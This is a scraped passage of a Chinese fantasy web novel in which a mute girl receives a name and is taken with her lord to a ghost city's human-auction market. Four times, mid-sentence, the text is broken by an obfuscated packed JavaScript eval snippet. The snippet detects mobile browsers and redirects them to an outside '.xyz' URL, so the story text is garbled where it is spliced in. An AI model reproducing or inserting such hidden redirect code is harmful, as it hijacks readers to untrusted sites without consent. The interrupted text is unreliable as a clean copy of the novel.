“马货郎不是姓马的货郎,而是无相城一种行当的总称。恶鬼好吃人,每逢月半子时,便有马车陆陆续续从鬼界出发,去人界进货。” 进什么货?当然是人。 小鬼提前踩点哪家没有贴符供神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406312|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哪家阴气最重,哪家“货”好。 看中了,便在那户人家窗户下打个标。等到子时,马货郎便来了。 马货郎驾着车,鬼影在月光底下行驶得飞快。到了标记点,便轻轻敲开窗户,伪装成“货物”梦中人的声音,悄声道:“行行好,我肚子饿啦!” “常言道,日有所思夜有所梦。入梦之人多是亲近之人,听到亲近之人的声音难免应答。若是应上一句,不管说什么,马货郎便立马放出小鬼从睡梦人的嘴巴钻进腹中。” “一直等到了鬼界,那些小鬼才会神不知鬼不觉地出来。这是因为活人阳气重,鬼界来的马车拉不走,可一旦沾了鬼气便要中招。外面马车应声而动,连人带房一并拉走。第二日再开门时,里面空空如也,人财两失。” 原来还有这样阴毒的手段...... 哑奴听到这里,情不自禁地问:“主君,你呢?也是这样被抓来的?” 哑奴不过随便一问,她觉得渡舟绝不会被如此拙劣的手段抓来。 谁知对方却并未否认。 哑奴惊讶万分,接着问:“马货郎来时,你在做什么梦?” 只有哑奴敢如此大胆问这种话,渡舟并不在意,只说:“梦醒便忘了。” 哑奴若有所思地点点头,心想她也常常做梦醒来就忘了,原来主君也和她一样。 渡舟伸了个懒腰,哑奴眼尖地发现他胳膊下面还压着一张宣纸没有丢掉,渡舟笑了笑,示意她可以看。 哑奴小心翼翼挪开那尊龙形玉石镇纸,双手捧起那副字,好奇地看向渡舟。 “给你的名字,你瞧瞧,有没有喜欢的?” 哑奴震惊地睁大眼睛,压不住的欢喜很快浮上那双黑色的眸子,难以置信地比划道:“给我的?” “嗯。” 哑奴以为自己生下来就叫“哑奴”。她有时候也会想,说不定在她忘记的那些过往里,她也跟寻常人一样有个名字。不需要多好听,就只是个名字。 哑奴捧着那张纸,就像捧着香喷喷的烤饼,眼睛亮晶晶的。渡舟在上面写了好几个名字,每个都很好听,她都很喜欢。 哑奴挑来选去,指尖挪到最后一个,眼巴巴地望着渡舟。 “喜欢这个?”渡舟坐起来一点儿,“祝鸢的意思是,祝君......振翅能凌霄,倦鸟得良栖。” 他见哑奴懵懵懂懂,笑着解释道:“也就是说,你想飞便飞,不想飞了便停下,总有人接着你。” 真好听。 哑奴用手摸着那两个字,有点不大好意思让渡舟把这么好听的名字送给她。她只是个不会说话的小丫头,真的可以叫祝鸢吗? “来,我教你写一遍。” 渡舟站起来走到她身后,手掌轻轻地包裹住她的,微微弯下腰,带着她一笔一划在“祝鸢”旁边写下“振翅能凌霄,倦鸟得良栖”这行小字。 哑奴恍然大悟,原来是这几个字。 不过奇怪的是,他们写出来的字莫名其妙得很像。 渡舟道:“从今天开始,你就叫祝鸢,好吗?” 哑奴眉眼俱笑,重重地点了一下头。随后她就跟着迷了似的,一遍遍地在纸上写自己的名字。 祝鸢。 我也有名字了,我叫祝鸢。 15. 奈何门 突然伴随一声巨响,好像这间房被什么东西狠狠撞了一下,眼看着地面剧烈摇晃起来,一端高高翘起。 “当心。”渡舟稳稳地在祝鸢后腰处扶了一把,旋即收回手,“到了。” 祝鸢正欲起身,渡舟在她肩上轻轻拍了拍,低声说道:“别急,看看再说。” 她小心推开窗,惊讶地发现短短一会儿功夫,外面竟然天光大亮。 果然,无相城是不能用简单的白天黑夜来定义的。 只见一幢角楼平地而起,直破云霄,诡谲非常。 上挂一道红字黑底匾额,题为:须尽欢。 须尽欢下,有“人”骂道—— “哪个不长眼的!没见老子已经尥蹶子了!” 这一声怪极,乍一听是人,却又夹杂着几声愤怒的马叫。 再看,更是怪,原来说话的竟真是一匹白马! 这马长着一副长脸,五官却又像人,再往下又是马腿马尾巴,实在是怪。 这位“马兄”便是马货郎了,人言马货郎长着副马脸,奇丑无比。现在看来哪里是人长了马脸,分明是一匹货真价实的马生出人头才对。 原来方才“马兄”到了角楼,便扬起后蹄停下车架,但这马车挂着的车厢实在太多了,后面的马儿不知前面已经到了,仍哼哼哧哧卖力地往前走,于是“马兄”的屁股便被狠狠撞了一下。 马兄骂了几句,转身安排小鬼们卸货。 这门也是奇,只能从外面打开才能出。车厢里关着的人被陆陆续续放出来,祝鸢跟渡舟走在最后。 渡舟换了副容貌,变化成一个面色发青,形容消瘦的男人。祝鸢则还是原来那副小鬼皮相,不过身上的鬼气却散了,看上去仅仅是个不起眼的少年。 除了马货郎和出来卸货的接引小鬼们,还有十多个凭空出现的妙龄少女,无不妆容精致貌美娇艳。 她们浅笑盈盈,都赤着一双玉足,白嫩的脚踝上拴着一只银制铃铛,裸着的水蛇腰上同样系着银铃铛,故而走起路来叮叮当当煞是好听。 祝鸢看得眼花缭乱,渡舟道:“这些都是马车上的铃铛所化,不过一团鬼气罢了,一吹就散。” 在场的除了祝鸢应当都没心思观赏美人,无不脸色发白,战战兢兢,欲哭又止。 美人们笑嘻嘻地给引着他们从角楼一处偏门进去,外面本是灯火通明,进了门却像掉进一团漆黑,过了许久眼睛才能勉强视物。 只见入眼是看不见尽头的暗道,石壁两侧每隔十余步便燃着一团绿油油的鬼火,除此之外再无光亮。 渡舟挨着她,低声道:“这条路只可进,不能出。” 祝鸢不免诧异,又听对方解释道:“我们进来的门叫奈何门。奈何门关,神仙奈何。君为鱼肉,我为刀俎。意思是进了奈何门,便别想出去。” 奈何门,主君懂得真多呢。 “后面的跟上,叽叽咕咕说什么呢!” 前面传来马货郎的马嗓,他一甩马鞭以示警告,又派出两个小鬼过来,渡舟便不再说话了。 这暗道错综复杂,岔路极多,他们走了足有一炷香时辰才停下。此处已经明亮许多,上方似有阵阵杂音传来,听不真切。 面前一道石门,石门上凹凸不平刻着一张男人的脸,马货郎上前念了一串听不懂的咒语,那石脸突然动了,睁开圆溜溜的大眼睛,眼珠子咕噜咕噜滚了一圈,这才打开大门。 渡舟不知想到了什么,低声一笑,冲祝鸢做了个口型:“好玩儿。” “啊!” 门刚打开,站在最前面的小姑娘大叫道:“我……我不要进去!” 她连连后退,人群也跟着骚动起来,祝鸢上前几步,却突然被一双手轻捂住双眼。 “别看。”渡舟轻声道。 捂住我眼睛做什么?祝鸢摸索着握住渡舟手臂,轻晃两下,意思是让他放开。 谁知渡舟不仅没放开,反而声音带了几分不寻常的恼怒,也不知说与她听还是自言自语:“腌臜东西。” 耳畔乱哄哄一片,尖叫声此起彼伏,祝鸢又是好奇又是担心,强行扒开眼前的手。 映入眼帘的是一间极大的石室,高约五丈,石壁上密密麻麻挂满了铁笼。眼前衣衫微动,渡舟迅速闪身到她面前,将剩下的情形挡了个严严实实。 虽然方才只有一瞬,祝鸢还是看了七七八八,那高挂的铁笼里每个都关着赤身裸体的活人! “都麻利点!男的关阳室,女的关阴室!” “扒了扒了!都扒干净些!” “救命!啊啊啊啊!别碰我!” …… 鬼魅妖邪祝鸢见过一些,残忍嗜血者不少。但像眼前这样的,扒光衣服待价而沽,视人作猪狗,祝鸢还是头一回见,不由怒上心头。 “我操了什么玩意儿!” 众鬼抬眼望去,只见一接引小鬼举着起火的右手边跑边鬼叫。 “哟,鬼大什么时候学的杂耍?” 众鬼不以为然,嘻嘻哈哈看热闹,马兄方才被撞了腚本就心烦,当下抽了一鞭子过去,打得鬼大吱哇乱叫。 “耍什么宝!”马兄怒道。 鬼大一边扑火一边往人群一指,哀嚎道:“那女的!她身上有灵光会放火!” 被他指着的正是那位十五六岁的千金小姐。 原来鬼大方才本是要去抓她衣服,刚摸了片衣角便腾地燃起一阵火光。 小姑娘怀里揣着祝鸢给的符箓,本来心里正欢喜自己有救,见马货郎拿着鞭子气势汹汹地走过来,吓得再也忍不住,哇一声哭出来。 “放屁!她长得还没老子腰高,怎么可能有灵光!” 马兄话说着就朝那姑娘举起鞭子,这一鞭下去不死也悬了。 “救命!” 眼见长鞭将落,众人屏气凝神—— 啪! 女子尖利的叫声令人目不忍视,但预想中的血溅当场却并没有出现。 只见鞭子的一端是马货郎握着不错,另一端却攥在渡舟手里。 渡舟气定神闲,将那挥下的铁鞭握在手中,一边把玩一边冲祝鸢眨眨眼睛,意思让她不要妄动。 马兄见有人截了自己的鞭,还是个手无缚鸡之力的凡人,怒骂道:“哪来的小鬼头!给老子滚一边去!” 一语未毕,马兄蛮横地拽着铁鞭往后一拉,众人心想这下这人怕是惨了,不摔死也要断根骨头,谁承想对方一动不动。 两厢僵持下,渡舟突然冷不丁地松了手,很嫌弃地拍拍手上灰尘,啧了一声:“没意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406313|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思。” 祝鸢扑哧一笑,马货郎险些摔了跟头,幸而左右小鬼相扶,登时哇哇大叫道:“老子今天非要亲手剁了你!” “老马!” 这一声来得突兀,只见门外匆匆而来一黑影,满脸刀疤一身横肉,说话如打雷—— “杀人滚远点!这什么地方也敢大呼小叫!” 方才还怒气冲冲的马货郎见了来人立马堆起满面假笑,很狗腿地迎上去,点头哈腰道:“哟!刀掌柜亲自出来啦,这是小人今天送来的货,您清点清点?” 刀疤脸哼哼道:“怎么回事?” 马货郎将手中铁鞭往地上一甩,骂道:“晦气!不知道哪来的野小子,忒不听话!” 刀疤将渡舟上下打量一番,挑起半边眉毛:“妈的!一个病秧子有什么好杀的!里头催得凶,先不往笼子里关了!直接带进去!” 那些小鬼们听了刀疤脸的命令,将他们全都关在石壁之后一处极为逼仄矮小的地方。 室内昏暗无光,仅有一盏盛在骷髅头里的幽绿色鬼火散发着微弱的光芒,让人不禁心生寒意。 等其余鬼差都离开,祝鸢便问:“主君,咱们怎么把这些人都救出去?” 渡舟在她手上写字:“什么时候说要救人了?” 祝鸢眨眨眼睛,比划道:“我不要吃烤饼了,主君,你救救他们吧。” 渡舟笑道:“满脑子救人,万一我们真出不去,怕不怕?” 祝鸢又眨眨眼睛,也学着渡舟在他手心写字:“有主君在,我不怕。” 渡舟哈哈大笑。 祝鸢又问:“主君,你很喜欢无相城吗?” 渡舟道:“为什么这么问?” 祝鸢认真道:“你从前不笑的,很凶。” 渡舟哑然,似乎在努力回忆自己在牵机营是什么样子。 坐在祝鸢旁边的,是一个年纪稍长的陌生男子,见他们二人说说笑笑,凑上来问道:“敢问两位公子可是修士?” 祝鸢摇摇头,指了指天,又在地上写了个“公”字。那人恍然大悟道:“原来是公门中人,在下唐回,幸会幸会。” 那唐回不光心态挺好,还是个自来熟,将他怎么从睡得正香被抓来这鬼界从头到尾讲了一遍。 如此你一言我一句,反倒不那么害怕了。 唐回身边那位男子却始终一言不发。他见祝鸢目光好奇,拍了拍身侧人肩膀,介绍道:“这是我表哥,叫唐稽。” 唐稽面容忧郁,略略颔首致意。 唐回解释道:“他呀,心情不好,别见怪。” 唐稽从怀里掏出一张叠得很小心的纸来,展开,上面隐约是一副女子的画像,画作极为传神,画师观察细致入微可见一斑,他问道:“两位大人,可曾见过这位姑娘?” 渡舟目不斜视,祝鸢摇头,唐回拉住唐稽的胳膊,劝道:“表哥,你真是昏头了,灵儿表妹一个闺中待嫁的姑娘,他们怎么可能见过?” 他见唐稽眉头愈发紧锁,又随口安慰道:“你别担心了,过几天这丫头肯定自己就回来了。” 唐稽收了那幅画像,闭目养神去了。唐回又转向祝鸢,他欲言又止……还是没止住:“小兄弟,你既然是衙门的人,那你见过牵机营那位……主子没有?” 16. 莲花烙 祝鸢转过脑袋看了眼渡舟,随后点点头。 唐回压低嗓门道:“传闻都说那位主子把持朝政,连奏折都是送到牵机营批复,可是真的?” 有人赶紧接话:“还说他当年动动手指,就把那些不听话的朝廷命官全都砍了,也是真的?” “咱们圣上也得叫他一声皇叔,这总不假吧?” “还听说他夜御十女,个个惨死……” 祝鸢越听眼睛睁得越大,到后面大气不敢出,眼见渡舟听到最后一句黑下脸,心道:“要死了,主君生气了!” 这些不怕死的哪里知道本尊就在眼前,本来是想打探点儿小道消息,一说起来就没完没了了,话题渐渐往不可描述的方向发展。 救命! 祝鸢赶紧挡在渡舟面前,双手挥舞得飞快:“打住!” 求求别说了,我还不想死! 唐回一脸兴奋,语气殷切道:“小兄弟,你可是也有什么秘辛要说?” 没有,绝对没有! 祝鸢极力为渡舟正名,一脸紧张地比划道:“主君不是你们说的那样的,他是个好人,真的。不过我也不知道他有没有批奏折,主君每天都很忙的……对了,他还带我吃烤饼,虽然他不给我月钱……” 没人看得懂祝鸢在比划什么,身后却突然传来噗嗤一声轻笑,祝鸢回过头,渡舟方才还脸黑得像锅底,眼下却笑得正开怀。 渡舟一边笑,一边将她挥动的双手轻轻按住,往自己身边拉了拉,温声道:“怪我。” 啊? 渡舟懒洋洋地张开双臂靠在墙上,盯着她笑:“我身上的东西都很值钱,你想要什么?” 祝鸢哪里敢上手从渡舟身上扒东西! “这个应该最值钱。”渡舟将那只笛子从腰间抽出来,递给祝鸢,“拿去玩儿。” 完了。 祝鸢面露惊恐,下意识伸手摸了摸渡舟的额头,主君脑子坏掉了,要么就是被夺舍了。 “莲、莲花烙!” 唐回战战兢兢地指着渡舟左手腕,衣袖滑落,那上面无比清晰地映出一朵并蒂莲。 “你是牵机营的人!”唐回震惊道,“传闻牵机营之人身上都有一朵莲花印记,寻常时看不出,只有极暗处才能显现轮廓……” 此言一出,周围瞬间一片死寂。 祝鸢好奇张望,看见渡舟露出的左手腕隐约有朵黑色并蒂莲。祝鸢想起来上官大人似乎也有这么个莲花烙印,只是寻常莲花,并非并蒂莲。 渡舟注意到祝鸢的目光,问道:“喜欢?” 祝鸢比划道:“主君,牵机营的人都有吗?为什么我没有?” 渡舟今夜笑得过于频繁了:“因为你不需要。” 众人议论之声戛然而止,不约而同默默退让三步,牵机营这三个字俨然成了比鬼界还要可怖的存在。 大概没有比背后说坏话被当场抓包更令人尴尬的事情了,还是唐回有胆识,站出来道:“大人恕罪,方才我们只是猎奇,随口说说,还望大人出去之后莫要……莫要说出去才好。” “别的都是实话,说便说了。只有一句……”渡舟的声音冷下来,“据我所知,我……家大人只有一位夫人,二人琴瑟和鸣,恩爱有加。再有刚才那样的话传出去,各位小心自己的舌头。” 祝鸢努力回想。 府里什么时候有位夫人的,我怎么从来没见过…… “知道知道!”唐回赶紧顺阶下,“小民出去就查,等查到哪个混账传出来的谣言,一定揪到官府去!” 这话听过就算,渡舟也不再追究,冷哼道:“想好怎么出去了?” 渡舟这话说得十分带刺,对方一愣,转而笑道:“这还用想吗?有牵机营二位大人在此,定不会让我等落入鬼怪之手!” 这话比方才渡舟说出牵机营三个字还要引起骚动,那位柔弱的千金小姐此时也连声附和道:“唐大哥说得对,小公子会画符,还留了信给我,一定能救我们出去的吧!” “是啊是啊,有牵机营在此,不怕鬼怪造次!” 方才还避之如蛇蝎的牵机营,此情此景下却摇身一变成为了这群人心中的救世主。 祝鸢的确是打算救人的,但人还没救先承谢意...... 人声鼎沸中,渡舟突然轻笑一声,冷声道:“诸位不是对牵机营避之不及吗,怎么?如此笃定能救你们?” “这......” 渡舟道:“如今我二人自身难保,不救是情理之中,救是心善,救而不得亦是心善。万一救不得,诸位反而心生恨意,岂不是我们亏了?” 渡舟言语傲慢,但仔细一想好像确实是这么回事儿。 众人面面相觑,唐回正色道:“大人放心,若有幸出去,我等必报今日之恩,若有人不幸殒命,也是他时运不济,怎敢怪罪恩人。” “唐大哥说得对!” 渡舟没有说话,房间内重新陷入不尴不尬的沉寂,他看向祝鸢,问道:“觉得我很冷血?” 祝鸢摇摇头,思索片刻,问道:“我从前以为,每个人都该救,不是这样吗?” 所以祝鸢才会明知打不过魇鬼也要冲,今日又义无反顾跳上马车救人。 她年纪小,不会说话,心思却爱憎分明无比单纯。 渡舟沉默良久,开口道:“真傻。” 祝鸢不乐意了,瘪嘴比划:“主君,你从前夸我很聪明的。” 渡舟这下子不单单是微笑了,简直是放声大笑。他看向祝鸢的神情依旧是那种重若千钧的专注,不过又好像有什么东西不一样了。 不一样在于,从前他只是偶尔露出这种表情,好像透过她在看另一个人。但自打祝鸢刚才在马车里撞见渡舟,这人便再也没有把目光从她身上移开过。 渡舟笑够了,用很温柔的声音说道:“我的错,你很聪明。” 半晌,他的声音低了些:“我从前认识一个人,和你一样,觉得世间每个人都该救。不管那些人是在刀山还是火海,她都拼了命地跑过去,跟人家说,别怕,我会救你。她跑啊跑,她救的人越来越多,可事与愿违,死去的人也越来越多……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406314|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 渡舟说到停了下来,似乎不愿再说下去了,祝鸢问道:“后来呢?” “后来啊......”渡舟道,“她没力气再跑下去了。” 祝鸢直觉这又是个不好听的故事。 从找凤尾花钿一路追到这里,祝鸢又困又累,只觉眼皮越来越沉,没过多久竟靠在墙壁上睡着了。 但梦中似乎墙壁过于软了些,等她再醒来时,是被一个尖利的鬼声吵醒的。 “要死啦!现在抓的都是什么货色!” 这声音十分耳熟,祝鸢睁眼一看,竟是他们进城时遇到的那个卫兵脑袋。 鬼头大哥正跟自己四目相对,而他口中的“什么货色”,好像凑巧就是我? 不过卫兵刚说完这句,便被渡舟一脚踹飞,鬼头哎呦一声痛呼,渡舟冷哼道:“你又是什么狗东西。” 原来那卫兵从城墙溜下来后,先是去人皮坊修了修自己新贴的头皮,紧跟着爬上一辆骷髅车,往城中的血器场去了。 上官说得不错,血器场其实是卖场。只不过卖的东西特殊了些,专卖活人罢了。 鬼怕光,正午阳气最重鬼气最弱,道行越浅的鬼越不能见光。 但那些正午要开门做活人生意的,这时便需要活人做容器,附在被做成傀儡半死不活的人身上,既能避光,又能掩人耳目,用完还能饱餐一顿,一举三得。 厉害的鬼是瞧不上血器这种东西的,小鬼又太弱没法附体,所以来血器场的往往是那些中下等鬼。 慢慢地,鬼发现活人好啊。 剥了皮能卖钱,剁了能吃肉,有皮相好的欢好一夜也不吃亏嘛,后来这血器场的鬼形形色色来得便更多了。 每逢十五开场,压轴必是好货。 而血器场,自然要在无相城最盛大的酒楼开张,这也正是这些人被抓来须尽欢的原因了。 可惜卫兵脑袋来得迟了些,里里外外已是水泄不通。他挤了许久还是在最外圈,索性张大嘴巴逮着旁边的狗腿狠咬一口。 “哎呀喂!哪个杂碎敢咬本大爷!” 那狗腿吃痛往旁边跳开,露出一张狗面獠牙脸。卫兵乘势往里一窜,速度快得惊人。刚窜没多远,又呈一道弧线从鬼堆里飞出来。 “去你的!别他妈挤!” “......” 卫兵脑袋见挤不进去,便心生一计,偷偷从暗门溜进来,想一睹为快。卫兵见祝鸢容貌实在算不得上乘,终于忍不住鬼叫一声。 此刻被渡舟那一脚踢得不轻,半颗头陷进墙壁里,新修的人皮发冠也歪到一边露出半边血淋淋的秃头,实在滑稽可笑。 寻常人乍见此物难免害怕,那些姑娘们想尖叫又惧怕渡舟,硬生生憋了回去,抱成一团瑟瑟发抖。 唐回强作镇定道:“兄……兄台,这是什么东西?” 渡舟很嫌弃地看了看自己踢过那颗头颅的脚,回答道:“无相城的东西,自然是鬼了。” 唐回忍不住道:“这鬼,也太丑了些。” 卫兵道:“好大的狗胆!敢骂本王?” 17. 血器场 他现下只是嵌在土里拔不出来的一颗脑袋,这话说得实在没有底气,唐回大着胆子笑道:“就你,也好意思自称本王?” 这时渡舟突然发笑,说道:“哦,原来是你啊。” 渡舟声音不大,那鬼头却睁大了眼睛四处张望:“谁在说话?谁认得我?” 渡舟漫不经心道:“我看你干脆死了算了,活成这副猪狗模样,也好意思招摇过市。我说得对吗?梁王,杨文潜。” “啊啊啊啊!!!”鬼头突然厉声尖叫起来,声音极为可怖,一边叫一边颠三倒四地说道,“那不是我!不是我!!你是谁?!别让我听见这个名字,啊!!!” 唐回最先反应过来,惊恐道:“你说他是梁王杨文潜?” “我不是!闭嘴!!!” 渡舟道:“如假包换。” 唐回道:“可梁王不是在千年前就......” 他想说梁王早就死了,可一想这里是无相城,见到死人难道不是很正常的事情吗? 唐回仍是难以置信,又问:“就是那个攻破大周朝的梁王?做了一百天皇帝的君主?竟落到如今下场,真是令人唏嘘......” 渡舟冷哼道:“他算什么君主?” 有人道:“梁王攻破周朝国都,暴君周昭战败,如今怎会……” 又是周昭? 祝鸢站在一边听他们三言两语,似乎眼前这个卫兵脑袋就是当年让大周朝灭国、让周昭成为亡国君的新皇帝? 渡舟似是极力忍耐,正欲发作,那头颅听到周昭二字,突然来了精神,眼球都快从夺眶而出,简直能让人想象出如果他有身体该是何等地激动,他瞪大眼睛道:“周昭!那贱人当然该死!想当年我——” “啊!” 渡舟随手捡了个石头扔过去,一代君主梁王的脑袋又深陷两寸。 不过他有三张脸,又将左边那边脸颇为艰难地转过来,似是很想看清一直揍他的到底是何人,他左看右看也认不出,骂道:“你是周昭的狗吗?老子说一句你打一下!” 他想了想又嘿嘿一笑:“不对,周昭的狗当年早就被我杀光了。不过你这毛头小子又是哪儿冒出来的——啊!!!” 毫不意外,渡舟又捡了块石头砸过去。 梁王骂道:“我操了!能不能让老子把话说完!” 唐回试探性地问道:“梁、梁王殿下,您的圣体不是在皇陵中吗?怎么......” 有人道:“当年八王伐周,汴西凉州杨文潜推翻周朝后自立为王,在中原建立起大梁帝国。不过大梁仅仅存在了一百天,传闻所有杨氏皇族竟在一个满月被全部屠杀,连皇陵都被翻了个干净,可凶手连影子都没有找到。” 唐回道:“好像是有这么回事儿......” 梁王道:“天杀的周昭!” 唐回道:“那安平皇帝不是在你之前就死了吗?” 梁王被这么一反问,气急败坏道:“那就是周朝余孽!” 许久不说话的渡舟冷笑道:“早知道,就该拔了你的舌头。” 头颅听到这话时愣了片刻,他又将渡舟二人仔仔细细看了一遍,从渡舟看到祝鸢,又看向渡舟手中的笛子,狞笑道:“嘿嘿,我知道你是谁了。” 祝鸢见卫兵突然望向自己,直觉对方又要说出什么难听的话来。 渡舟侧身将祝鸢挡住,头颅见了,哈哈大笑道:“渡舟小儿,你不是该守着周昭的尸首哭吗?怎地如今搞起断袖了,且品味变得这般差!周昭虽然是个该死的贱人,但长得那可真是——唔!” 这下梁王殿下不能再说话了,因为渡舟直接走过去将他整个头一脚踹进了土里。 “谁在吵闹?!活得不耐烦啦!” 门被一脚踹开,众人被强光刺得睁不开眼,嘈杂而热闹的声音如潮水般灌进这狭小密闭的空间,阵阵如雷鸣般欢呼雀跃声不绝于耳。 依稀能看见数米之外如白昼,好似皇家斗兽场,中间是一个巨大的圆台,上方则放着他们来时所见的大铁笼。 来人身高不足五尺,竟是一只红冠尖嘴的大公鸡! 那公鸡颇为傲慢地扫视一圈,手中铁链在墙上敲了敲,却不知他敲到的地方正好是那梁王殿下被踹进去的地方。 “你们谁是柳君瑶?” 先前那位被吓昏过去的姑娘情不自禁哆嗦一下,公鸡尖声道:“喔喔!就你啦!” 说完这句话,公鸡大摇大摆地走了。 那姑娘哇地一声哭出来,抽抽搭搭道:“……他怎么知道我的名字!怎么办我要被抓去吃掉了!” 渡舟肉眼可见地不耐烦起来,啧了一声:“放心,不会吃你。” 那姑娘一颗心尚未放进肚里,又听渡舟道:“只会把你卖掉。” 主君怪会安慰人的...... 不多时,门又开了。 门外窜进来几只黑黢黢的老鼠精,用手腕粗的铁链勾住他们的脚,叽叽喳喳道:“快走快走!” 祝鸢见渡舟十分顺从,不知葫芦里卖的什么药,便也乖乖跟着他走。 出了门,外面果然是个巨大的卖场,四周围栏长满倒刺荆棘,高台之外都设有座位供来客观赏。 此刻那笼子里关着的,是个略上了年纪的妇人。 “喔喔!各位静一静——” 嗯?公鸡的嘴巴还在一张一合,祝鸢却什么都听不到了。渡舟冲她眨眨眼,口型说道:“不是好话,不必听。” 只见公鸡怪围着铁笼转了一圈,说道:“货是新到的喔!无论老爷您是清蒸水煮,先奸后杀,先杀再奸……” 底下一团烂菜叶扔到公鸡头上:“妈的长这么丑谁要奸!” “就是!搞快点下一个!” 这位妇人显然不如年轻貌美的姑娘小姐们受欢迎,公鸡嘎嘎叫了两声,立马改口赔笑道:“老爷!此煎非彼奸嘛!虽然丑了点,吃肉也不错喔!虽然老了些,剥皮也能卖喔!” 底下笑嘻嘻一片,稀稀拉拉也有几个鬼开始出价了。 “一两!” “二两!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416476|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “......” 公鸡嘎道:“没啦?” 最终妇人以区区五两被一青鬼买走,老鼠精们抬着铁笼溜下场。那公鸡清了清嗓子,冲台下叫道:“陈老爷来了没有!您点名要的柳君瑶小姐带来啦!” 声音如雷贯耳,祝鸢又能听见了。 站在她身边的就是柳君瑶,早已吓得脸色发白,人群中站起来一个看上去三十出头的男子,看到柳君瑶时双目放光,兴奋叫道:“君瑶!是我!你那亲亲未婚夫呀!” “啊!”君瑶两眼一黑叫了一声,指着他道,“你这阴魂不散的……” 她兴许是不会骂人,许久才憋出后半句—— “阴魂不散的恶人!” 谁知她越骂那男子越兴奋,说道:“这么恼做什么?咱们生前没缘分,死后做夫妻哈哈哈哈!也好啊!” 一回一答间,众人大概明白了二人是何关系。原来男子叫陈德望,是当地有名的士珅,看上了柳家小姐上门提亲。 谁知对方不从,于是强行逼亲,哪知新婚前日酗酒过度竟一命呜呼死了。柳君瑶本以为厄运已过,谁知遭此横祸,被掳来无相城配阴婚,难怪要说阴魂不散四字了。 “静一静!都静一静!”公鸡叫道,“柳君瑶,年方二八,价高者得!” 陈德望急道:“你这泼皮无赖老鸡公!不是说好一百两吗!” 公鸡嘎嘎道:“那是昨日,今日就不是这个价了。” “你——”黑吃黑在无相城屡见不鲜,陈德望的声音很快被淹没在竞价声中,不少人纷纷出价要买那美貌小姐,男女都有,自然都是看上了那副皮囊。 祝鸢只觉场面实在难看,正不知怎么办,台下一男子高声叫道:“五百两!” 如此高价,叫价者瞬间偃旗息鼓,潮声缓缓退去,只有几声交头接耳混迹其中。 看来这柳君瑶是要被买走了,主君还不动手?难道真不打算救人? 此间虽然鬼气冲天,但以祝鸢那日看渡舟打魇鬼的情形来说,应该也能打得过。不过渡舟既然出现在无相城,一定是有要事,祝鸢本不想打扰他的计划,可眼见柳君瑶被抬下来,实在有些等不了了。 主君若不出手,只能我拼力一试了。说来上官大人怎么还没出现,算时间也该到了…… 她正暗自琢磨,突然看见刚才叫价五百两的那人冲他们这边望了一眼,有意无意地高高举起右手去接柳君瑶。 就这么一瞥间,祝鸢惊讶地发现那人小臂有一朵莲花印记,跟上官大人的一模一样。 原来是同僚……祝鸢呼出一口气,心想主君果然什么都安排好了。 柳君瑶的卖价让场内的气氛再度达到一个高潮,公鸡打了个响亮的鸣叫,招呼道:“喔喔!下一个!” 站在他们前面的本来是唐回两兄弟,渡舟却在这时推开他二人走到最前面。 那来拿人的鬼差还是头一次见有人上赶着送死,不由多看两眼,正欲问话,台上的公鸡又催了一句,便勾着渡舟走了。 18. 病秧子 祝鸢向前奔了几步,被鬼差举着刀叉拦下:“往后稍稍!挤什么!” 渡舟回过头冲她眨眨眼睛,做了个口型道:“等我。” “什么烂货也往上抬!”台上纷纷不满,高声叫嚷。 公鸡摸了摸鸡冠,打量渡舟几眼,同样小声嘀咕道:“哪来的病秧子......” 不过生意还是要做,公鸡很快清清嗓子,招呼道:“各位静一静!这个便宜,呃......”他抓抓脑袋,挥手道:“嗐!看着给吧!” 病秧子虽然没有皮相好、身体壮的货受欢迎,但总有些法力低微的小鬼,是没办法附身在阳气太重的活人身的。所以像渡舟这样的,也勉强能卖得出去。 台下很快出了价,最高五两银子,而那公鸡的心思也完全不在渡舟身上,不耐烦地摆摆手让鬼差赶紧把人送下去。 “来赶紧的!” 